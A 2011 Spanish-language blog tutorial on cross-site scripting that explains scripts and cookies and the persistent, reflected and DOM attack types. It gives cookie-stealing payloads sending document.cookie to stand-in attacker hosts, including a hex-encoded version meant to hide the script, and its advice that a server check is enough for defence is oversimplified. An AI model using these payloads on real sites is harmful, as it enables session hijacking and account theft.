miércoles, 16 de marzo de 2011

XSS - Ataques de Cross-Site Scripting

La semana pasada aprendimos como robar las cookies de un navegador del cual tenemos acceso físico.
En esta ocasión les mostraré como es posible hacerlo de manera remota.

Los ataques de Cross-Site Scripting o XSS son ataques por medio de código (scripts) que son "inyectados" en las páginas para diversos propósitos.

Para empezar... ¿Qué es un script?

Existen distintos lenguajes de programación como C, C++, o Java que compilan su código para convertirlo en una aplicación en "código binario" (como los programas que utilizas normalmente), pero además hay un tipo de código que se "interpreta" en el momento de que alguna aplicación lo encuentra, a este se le llama script.

En esta ocasión hablaré especialmente de los scripts usados en las páginas de internet, que normalmente están en  javascript, que como mencionaba, es un código que es interpretado por tu navegador al entrar a una página, esto le sirve al navegador o browser para añadir más funciones (como aplicaciones en línea) además de la apariencia (que normalmente esta en HTML).












Para ver los scripts que contiene una página es posible ver el código fuente de esta, que en la mayoría de los navegadores se muestra realizando
click derecho --> ver código fuente de página.




























Ahora bien, cuando una página te dá sus cookies, generalmente las revisa por medio de un código de javascipt que envía los datos de tu cookie al servidor.

Para comprender mejor como funciona
Intenta lo siguiente...
introduce en la barra de dirección de tu navegador estando en cualquier sitio el siguiente código:

javascript:alert(document.cookie);


javascript:alert() --> nos indica un script de tipo javascript, la función alert nos despliega un texto específicado 
(ej. javascript:alert("Hola Mundo"); )


document.cookie --> nos indica las cookies almacenadas de la página.


Esto no sirve de mucho si no tenemos la computadora de forma física (y aunque la tuviéramos, tampoco nos serviría de mucho). Lo que hay que hacer es introducir o "inyectar" un script en alguna página para que esta capture los cookies y los redirija a un sitio que nos convenga.

algo así:

<script> document.location = 'http://evil.com/blah.cgi?cookie=' + document.cookie; </script>

esto, colocado en una página como www.facebook.com robaría todos los cookies del usuario que active este script, a veces es presionando un botón (clickjacking), al cargar una página, o incluso solamente pasando el mouse encima del link.

Como en el siguiente Ejemplo:

Ejemplo

usando

<a onMouseOver="alert(document.cookie);">Ejemplo</a>


Generalmente este código es insertado en espacios de texto, como los que existen para comentarios, o
posts en facebook o twitter. Aunque también es posible ocultarlo en un mensaje de correo, animaciones en flash, etc.

Existen 3 tipos de ataques XSS, persistentes, no persistentes y por DOM; los persistentes, son por ejemplo, mensajes maliciosos con código que se encuentran en foros, páginas de video, etc. Sólo te roban la cookie de la página en la que se encuentran y dejan de funcionar sólo cuando son borrados.

El tipo no persistente, son links que se envían por correo o por redes sociales, donde se incluye en parte del URL (la dirección del sitio) el script para que la persona piense que esta entrando a su sesión de usuario. Este tipo de ataques sólo funciona cuando la persona entra directamente haciendo click en el url y lucen algo así:

http://portal.example/index.php?sessionid=12312312& 
username=<script>document.location='http://attackerhost.example/cgi- 
bin/cookiesteal.cgi?'+document.cookie</script>

o, ya codificados en hexadecimal para ocultar el javascript.

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E


Otro grave problema es que en el caso de páginas como twitter, han nacido servicios como bit.ly que encogen la URL para que no ocupe tanto espacio, sin embargo esto da oportunidad al atacante de ocultar mucho mejor su url modificado.

Los ataques de Cross-Site Scripting hasta la fecha son la vulnerabilidad de la cual padecen más páginas hasta la fecha, en el 2007 la empresa Symantec calculó que un 80% de las páginas de internet eran vulnerables a este tipo de ataques.

Incluso existe una base de datos de sitios expuestos con estas vulnerabilidades llamada XSSED.

Para parchar este tipo de vulnerabilidades, basta con que el sitio incluya un script en su servidores que verifique los posts antes de que sean enviados. 

En cuanto a usuarios normales, hay que evitar en especial los ataques no persistentes, tomando en cuenta en que tipo de páginas se entra, a donde llevan los links, o si se confía en la persona envió esa información.

Links de interés:

Tutorial básico de cookies
Tutorial básico de XSS
Más Información del XSS
Preguntas más frecuentes del XSS

UPDATE:
Me encontré un excelente tutorial cortesía de Lord Epsylon acerca de XSS, es algo largo pero viene muy bien explicado; link.


No hay comentarios:

Publicar un comentario